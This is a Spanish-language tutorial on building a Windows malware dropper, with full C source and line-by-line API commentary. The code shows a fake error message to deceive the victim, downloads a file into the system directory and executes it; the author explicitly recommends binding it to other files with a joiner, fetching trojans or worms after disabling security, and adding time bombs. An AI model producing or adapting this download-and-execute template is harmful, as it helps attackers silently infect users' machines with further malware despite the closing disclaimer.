Introduccion a la Creacion de Droppers

Autor: R.N.A.

Contenido

1.1 Introduccion.

Es un placer presentarme, me llaman R.N.A. Programador en C/C++ y ASM como muchos sabran. Esta vez les traigo este pequeño e ilustrado manual o guia de como introducirse al mundo de la creacion de droppers, las razones para crearlos. Lamentablemente para muchos el codigo que mostrare a continuacion es un Downloader simple, detectado por cualquier AV que tenga un atisbo de conciencia de sobre que nos debe proteger. Introducire dos codigos, uno en C y luego otro en ASM que realizara la misma funcion. No me queda de otra, ya que empece a escribir empecemos.

1.2 Lenguaje C.

C es un lenguaje de programación creado en 1972 por Kenneth L. Thompson, Brian Kernighan y Dennis M. Ritchie en los Laboratorios Bell como evolución del anterior lenguaje B, a su vez basado en BCPL.

Se trata de un lenguaje débilmente tipificado de medio nivel pero con muchas características de bajo nivel. Dispone de las estructuras típicas de los lenguajes de alto nivel pero, a su vez, dispone de construcciones del lenguaje que permiten un control a muy bajo nivel. Los compiladores suelen ofrecer extensiones al lenguaje que posibilitan mezclar código en ensamblador con código C o acceder directamente a memoria o dispositivos periféricos.

Uno de los objetivos de diseño del lenguaje C es que sólo sean necesarias unas pocas instrucciones en lenguaje máquina para traducir cada elemento del lenguaje, sin que haga falta un soporte intenso en tiempo de ejecución. Es muy posible escribir C a bajo nivel de abstracción; de hecho, C se usó como intermediario entre diferentes lenguajes.

En parte a causa de ser de relativamente bajo nivel y de tener un modesto conjunto de características, se pueden desarrollar compiladores de C fácilmente. En consecuencia, el lenguaje C está disponible en un amplio abanico de plataformas (seguramente más que cualquier otro lenguaje). Además, a pesar de su naturaleza de bajo nivel, el lenguaje se

desarrolló para incentivar la programación independiente de la máquina. Un programa escrito cumpliendo los estándares e intentando que sea portátil puede compilarse en muchos computadores.

1.3 API de Windows

Las Apis de Windows, problema para muchos que nunca la quieren utilizar (Programadores de VB, Autoit, etc...) son funciones ya pre-programadas de fabrica en el Sistema Operativo que permiten realizar tareas de una manera rapida y efectiva sin tener que reescribir muchas veces un codigo que al fin y al cabo se tendra que volver a utilizar, se encuentran en librerias de extension .dll y pueden ser usadas desde cualquier lenguaje de programacion que las soporte.

Por otra parte existen referencias para el uso de estas funciones como es la Win32 (Microsoft Win32 Programmer Reference) o las distintas MSDN creadas por microsoft para documentarlas, estas cuentan con una version descargable y otra version online para la comodidad de las personas que tienen un acceso mas globalizado a la Internet.

En lo que concierne al Downloader necesitaremos una API fundamental para que este realice su funcion, esta API es URLDownloadToFile. Mas abajo la declaracion de la API. Se recomienda al usuario que vaya a seguir este manual para evitar tener que extender con paginas innecesarias dicho documento que se descargue la Win32 API Reference o que tenga acceso a la MSDN para mayor informacion sobre la API.

```
HRESULT URLDownloadToFile(
        LPUNKNOWN pCaller,
        LPCTSTR szURL,
        LPCTSTR szFileName,
        DWORD dwReserved,
        LPBINDSTATUSCALLBACK lpfnCB
    );
```

2.1 Que es un Dropper

Bueno empecemos con la pequeña introduccion de que es un dropper para despues rapidamente seguir con lo que es el codigo y comentarlo.

Un downloader o dropper orientandonos en el area de malware es una aplicación que se encarga de descargar y ejecutar desde internet otras aplicaciones sin el conocimiento del usuario, en la mayoria de los casos se descarga otro malware para que realice la infeccion. Muchos se preguntaran, porque tengo que hacer un dropper?, porque no realizar la infeccion directamente y listo?. En muchos casos es mas facil tomar un Dropper optimizado (peso aproximado 700 bytes) y añadirlo mediante un joiner a otro fichero que tomar otro tipo de malware (worm, troyano, ramsonware, etc.) que puede pesar mucho mas que este y seria mas facil de notar el cambio en el tamaño (peso aproximado 16 kb).

2.2 Programando un Downloader en lenguaje C

Para mayor comodidad he decidido crear el dropper en Visual C++ 6.0, puede ser compilado en la mayoria de los compiladores actuales pero por la facilidad que este me da para linkar la librería desde el codigo lo tome como referencia para crear dicho codigo.

```
#include <windows.h>
#include <urlmon.h>

#pragma comment(lib,"urlmon.lib")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/RELEASE")

char sys[MAX_PATH];
char myname[MAX_PATH];
char error[MAX_PATH];


int main()
{
        GetModuleFileName(0,myname,sizeof(myname));
        lstrcpy(error,myname);
        strcat(error," is not a valid Win32 application.");
MessageBox(0,(const char*) error,(const char*)myname,MB_ICONERROR);

        GetSystemDirectory(sys,sizeof(sys));
        strcat(sys,"\\google.png");

URLDownloadToFile(0,"http://www.google.com.do/intl/en_com/images/logo_plain.png"
,sys,0,0);
        Sleep(10000);
        ShellExecute(0,"open",sys,0,0,SW_SHOWNORMAL);

        return 0;
                                }
```

Documentacion del Codigo:

#include <windows.h>
#include <urlmon.h>

Incluimos en el proyecto el encabezado necesario para utilizar las Apis basicas de Windows (Windows.h) y para utilizar las APIs almacenadas en la librería urlmon.dll (urlmon.h).

#pragma comment(lib,"urlmon.lib")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/RELEASE")

para enviar intrucciones al linker utilizamos #pragma comment y a continuacion para que incluya la librería necesaria para utilizar urlmon (lib,"urlmon.lib") para declarar el punto de entrada del programa (linker, "/ENTRY:main") o para que cree el ejecutable final (linker, "/RELEASE").

char sys[MAX_PATH];
char myname[MAX_PATH];
char error[MAX_PATH];

Declaramos las variables que vamos a utilizar, en este caso sys, para almacenar la ruta del directorio del sistema (system32) y mas adelante en el codigo para copiar el archivo descargado a dicho folder, myname, para almanecar el nombre actual del ejecutable desde el cual nos estamos ejecutando y por ultimo error, para agregar un mensaje de error para evitar sospechas en el archivo.

int main()

Funcion principal del programa, según la opcion de entrada que le pasamos al linker, al igual que todas las funciones esta debe de iniciar con una llave ({) y terminar con una llave (}), no es necesario que ofrezca un valor de retorno.

GetModuleFileName(0,myname,sizeof(myname));

Una API de windows que tiene como funcion devolver el nombre de un modulo tomando como parametro el Handle de dicho modulo, entiendase por modulo en este caso nuestro programa, en caso de que quisieramos acceder al nombre del programa actual en el parametro en el cual debe de ir el Handle.

```
DWORD WINAPI GetModuleFileName(
  __in          HMODULE hModule, //Handle del modulo del cual queremos obtener el
                                 //nombre
  __out       LPTSTR lpFilename,//Una variable para obtener el nombre del modulo
  __in        DWORD nSize //Tamaño de la variable que obtendra el nombre del
                          //modulo
);
```

lstrcpy(error,myname);

Una API de windows que tiene como funcion copiar en el primer parametro, la cadena de caracteres del segundo parametro. Es deber del programador verificar que el espacio reservado para primer parametro sea suficiente para introducir la cadena de caracteres del segundo parametro.

```
LPTSTR lstrcpy(
  __out LPTSTR lpString1, //Variable donde sera almacenado la
                          //cadena de caracteres del segundo
                //parametro
  __in  LPTSTR lpString2 //Variable desde la cual se tomara la
                         //cadena de caracteres que sera
                //almacenada en el primer parametro.
);
```

strcat(error," is not a valid Win32 application.");

Una API de windows que tiene como funcion agregar al final del primer parametro, la cadena de caracteres del segundo parametro. Es deber del programador verificar que el espacio reservado para primer parametro sea suficiente para introducir la cadena de caracteres del segundo parametro.

```
LPTSTR lstrcat(
  __out LPTSTR lpString1, //Variable a la que sera agregada la cadena  de
                          //caracteres del segundo parametro
  __in  LPTSTR lpString2 //Variable desde la cual se tomara la cadena de
                         //caracteres que sera almacenada en el primer
                         //parametro.
);
```

MessageBox(0,(const char*) error, (constchar*)myname,
MB_ICONERROR);

Una API de windows que tiene como funcion mostra un messagebox en pantalla, es utilizado para mostrar o solicitud intrucciones al usuario en la pantalla. En resumen crea, muestra, y opera un messagebox. En este caso mostrara un mensaje de error diciendo que el ejecutable no es una aplicación Win32 valida.

```
Int MessageBox(
  HWND hWnd, //Handle de la ventana dueña del MessageBox.
   LPCTSTR lpText,//Puntero a una variable tipo Char que mantenga el
                  //texto a llevar en la ventana.
 LPCTSTR lpCaption,//Puntero a una variable tipo Char que mantenga el
                   //texto a llevar en la ventana.
 UINT uType //Especifica el tipo del MessageBox.
);
```

GetSystemDirectory(sys,sizeof(sys));

Una API de windows que tiene como funcion obtener la direcciones del directorio de la carpeta del sistema (system32), el primer parametro es una variable tipo char que recibira la direccion del directorio del sistema, el segundo parametro es el tamaño de la variable que tomara la direccion del directorio del sistema (system32).

```
UINT WINAPI GetSystemDirectory(

__out  LPTSTR lpBuffer,//Variable recibira la direccion de la carpeta del sistema.
__in   UINT uSize //Valor tipo Int que expresa el tamaño de la variable que
                  //recibira la direccion del directorio del sistema.
);
```

strcat(sys,"\\google.png");

Esta API fue explicada mas arriba asi que solo me queda decir que aquí esta siendo utilizada para dar el nombre del archivo a crear con la descarga.

URLDownloadToFile(0,"http://www.google.com.do/intl/en_com/images/logo_plain.png",sys,0,0);

Esta se podria decir que es la API mas importante para crear un Dropper, se encuentra en la librería URLmon.dll y se encarga de descargar una direccion URL hacia un archivo definido por el usuario, es este caso el logo de google.

```
HRESULT URLDownloadToFile(
        LPUNKNOWN pCaller,//Puntero al control de interface IUNKNOWN
        LPCTSTR szURL,//Puntero a la direccion de la URL
        LPCTSTR szFileName,//Puntero del nombre del archivo a crear
        DWORD dwReserved,//Reservado.
        LPBINDSTATUSCALLBACK lpfnCB//puntero a los invocadores de la
                                   //interface IBindStatusCallback
    );
```

Sleep(10000);

Esta API suspende el programa en ejecucion durante el tiempo especificado en milisegundos al ser llamada.

```
VOID WINAPI Sleep(

  __in        DWORD dwMilliseconds // Tiempo en milisegundos.
);
```

ShellExecute(0,"open",sys,0,0,SW_SHOWNORMAL);

Esta API realiza la funcion del archivo especificado en el tercer parametro. Se podria decir que esta es la segunda API mas importante en la creacion de un Dropper, debido a que es necesaria para ejecutar el archivo descargado.

```
HINSTANCE ShellExecute(

        HWND hwnd,//Handle del proceso dueño del archivo a abrir
        LPCTSTR lpOperation,//Operacion a realizar
        LPCTSTR lpFile,//Nombre del archivo que realizara la operacion
        LPCTSTR lpParameters,//Parametros que seran pasado al archivo
        LPCTSTR lpDirectory,//Nombre del folder que tiene el archivo, en caso
                                    //de no especificarlo en el nombre
        INT nShowCmd//Especifica como sera mostrado el archivo al ser
                            //ejecutado
    );
```

return 0;

Devuelve valor 0 en la funcion main().

2.3 Implementaciones para un Downloader.

1. Descargar un diccionario para ser utilizado por alguna aplicación para realizar un posterior ataque de BruteForce de forma local o a algun servidor remoto.

2. Descargar el server de un troyano o un worm para una infeccion del sistema despues de eliminar la seguridad que podria eliminar estas aplicaciones.

3. Descargar una imagen para colocarla como fondo de escritorio o para mostrarsela al usuario.

4. Descarga de documentos con mensajes para el usuario por parte del creador del Dropper.

Nota: Estas opciones pueden ser especificadas dentro de una bomba de tiempo para que realice una o varias de las pasadas posibilidades en una fecha preestablecida.

3.1 Conclusion

Muchos se preguntaran porque hacer una introduccion de creacion de algun tipo de malware utilizando un codigo ya detectado, la respuesta es simple "Quien obtiene lo que quiere sin esfuerzo, no le da verdadero valor a sus logros".

Solo me desenvuelvo en un solo idioma y al iniciar en espanol existian muy pocos lugares donde obtener las intrucciones para hacer algo y por lo tanto tuve que aprender desde ideas generales, algo que no muchos harian, por lo tanto no planeo con esto mal acostumbrar a los programadores y futuros programadores que lean dicha introduccion.

Las criticas son aceptadas siempre y cuando tengan un sentido logico y una base para hacerlas, todo tipo de sugerencias son aceptadas y para cualquier contacto tienen mi direccion de correo electronico en cada pie de pagina. No duden en contactarme con cualquier duda que tengan con respecto a este tutorial

3.2 Disclaimer

Ya es algo un poco estupido decirlo pero para evitar inconvenientes debe de ser puesto. Como creador de esta introduccion a la creacion de dropper no me hago responsable del uso que terceros puedan dar a este documento, dicho documento no insita a la creacion de aplicaciones con mas intencion que las pruebas propias para conocer el funcionamiento de las aplicaciones que podrian poner en riesgo nuestro sistema y nuestra seguridad.

Cada usuario es responsable de cualquier uso mal intencionado que de a esta documentacion.

Atte. R.N.A.